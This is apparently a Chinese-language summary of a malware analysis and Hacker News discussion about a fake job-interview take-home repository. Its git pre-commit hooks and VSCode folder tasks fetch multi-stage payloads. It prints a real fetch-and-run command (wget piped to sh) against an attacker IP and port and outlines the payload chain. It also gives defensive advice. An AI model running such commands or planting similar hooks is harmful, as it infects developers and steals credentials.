Malware Distribution via Fake Job Interviews and Git Hooks
虛假求職面試的回家作業包含 Git Hook 惡意軟體
概述
透過 LinkedIn 招募人員發送的回家作業包含一個 Git 儲存庫,其中預先配置了 hooks,當開發人員執行 git commit 時,會執行遠端程式碼。
惡意軟體運作原理
pre‑commit hook 會偵測主機作業系統,並從 http://45.61.164.38:5777 靜默下載有效載荷(payload)。
- 在 Linux 上,它會執行
wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' | sh。 - 第一階段會下載一個名為
tokenlinux.npl的檔案,將其重新命名為tokenlinux.sh,賦予執行權限並使用nohup啟動。 - 第二階段 (
tokenlinux.sh) 會將parser.js和package.json下載到$HOME,安裝 Node.js 的request套件並在背景執行parser.js。 parser.js經過高度混淆;id參數似乎會為每個受害者提供客製化的有效載荷。package.json列出的依賴項提供了網路功能 (axios)、FTP (basic-ftp)、剪貼簿 (clipboardy)、檔案系統 (fs)、JSON web tokens (jsonwebtoken)、進程操作 (process,ps-node) 以及 Ethereum 開發環境 (hardhat)。
發現方法
作者透過對提取的專案執行 tree -a 發現了隱藏的 hooks,這揭示了 .git/hooks 目錄。
- 檢查
.git/hooks/pre-commit顯示了針對不同作業系統的 curl/wget 指令。 - 對攻擊者的端點進行連續的
curl請求,可以取得已暫存(staged)的腳本。 - 更改
id參數會回傳不同的腳本,這表明針對每位受害者都有客製化處理。
攻擊者基礎設施
該惡意軟體會連接到連接埠 5777 上的原始 IP 位址 (45.61.164.38)。
- Nmap 掃描顯示三個開啟的連接埠;只有連接埠 22 在 Ubuntu 上回應 OpenSSH 9.6p1,且在掃描時沒有已知的 CVE。
- 使用原始 IP 位址而非網域被視為典型的惡意軟體特徵。
變體與感染媒介
某些受害者收到的 .vscode 資料夾包含啟動指令,這些指令會在 VSCode 中開啟目錄時執行,這意味著無需執行任何 Git 指令即可發生感染。
- 原始儲存庫是一個克隆的公開 FastAPI 專案 (
https://github.com/Bgogoi123/personal-finance-service),攻擊者向其中添加了惡意的.git目錄。 - Git log 僅顯示原始專案的提交紀錄;沒有來自攻擊者的自定義提交。
社群見解
Hacker News 貼文中的評論強調了幾點:
- "TIL about tree... 我不再對我使用超過 25 年和 10 年的作業系統所學到的新事物感到驚訝,只是享受這些常見的回家作業面試噩夢故事所帶來的發現樂趣」 – @fitsumbelay
- "這似乎正在成為一個重複出現的主題,上個月首頁也有類似的故事」 – @wxw (引用 https://news.ycombinator.com/item?id=48546294)
- "為什麼使用原始 IP 位址?這簡直就是在大喊「惡意軟體」。如果受害者深入檢查 hook 的內容,不太可能在失去懷疑後就此停止。我確信大多數開發者不會認為執行
git commit會有惡意(Git 安全漏洞?)" – @ivanjermakov - "我從中得到的教訓是 Claude 作為助手完全派不上用場,這都要歸功於所有的安全防護措施和那些廢話。" – @vardalab
- "如果 LinkedIn 真的在乎防止詐騙,如果你想列出目前的任職情況,他們可以實施使用公司電子郵件進行驗證。" – @darth_avocado
- "我從中得到的教訓是,我應該採取與有人打電話說「來自你的銀行」時相同的防禦措施。當他們直接聯繫你時,請前往真實公司的網站進行申請並聯繫真實的招募人員。" – @gtowey
- "在 AI 時代,這類測試還有意義嗎?認真的問題,我已經很久沒有參加面試了。它們看起來就像是回家做的大學考試一樣有用。" – @drnick1
- "我假設執行此操作的標準方式是透過招募人員提供的 VM,對嗎?" – @wslh
- "我想知道如果你點擊「不信任作者」,VSCode 是否仍會載入該腳本?" – @syntaxing
- "我檢查了是否有全局禁用 git hooks 的方法。目前沒有內建的方法可以做到這一點。" – @darkstar999
- 個人經驗:「我發現我被駭了,但是一種更複雜的攻擊... 我需要抹除我的筆記型電腦並重新安裝所有東西。」 – @IvanGoncharov
防禦建議
- 在執行來自未知來源的任何程式碼之前,請檢查隱藏目錄(例如,執行
tree -a或ls -la.git/hooks)。 - 將未經請求的回家作業視為潛在的威脅;考慮使用拋棄式 VM 或容器。
- 透過官方管道聯繫公司來驗證招募人員的合法性,而不是回覆 LinkedIn 訊息。
- 請注意,除非工作區被標記為不信任,否則 VSCode 會執行資料夾層級的任務。
- Git 沒有內建的選項可以全局禁用 hooks;使用者必須手動審核
.git/hooks。
結論
此事件展示了攻擊者如何濫用回家作業面試中隱含的信任,將多階段惡意軟體嵌入 Git hooks 中,並利用看似無害的依賴項來實現持久化和潛在的憑證竊取。在檢查第三方程式碼時保持警惕至關重要。
SUMMARY: 一個針對 Python 開發者職位的回家作業面試包含惡意的 Git hooks,這些 hooks 會從遠端伺服器靜默下載並執行針對特定作業系統的有效載荷。
TITLE: 虛假求職面試的回家作業包含 Git Hook 惡意軟體